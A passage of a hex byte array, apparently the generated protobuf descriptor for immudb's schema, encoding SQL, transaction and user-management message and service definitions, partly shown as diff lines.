0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, - 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, - 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, - 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, - 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, - 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, - 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, - 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, - 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, - 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, - 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, - 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, - 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, - 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, - 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, - 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, - 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, - 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, - 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, - 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, - 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, - 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, - 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, - 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, - 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, - 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, - 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, - 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, - 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, - 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, - 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, - 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, - 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, - 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, - 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, - 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, - 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, - 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, - 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, - 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, - 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 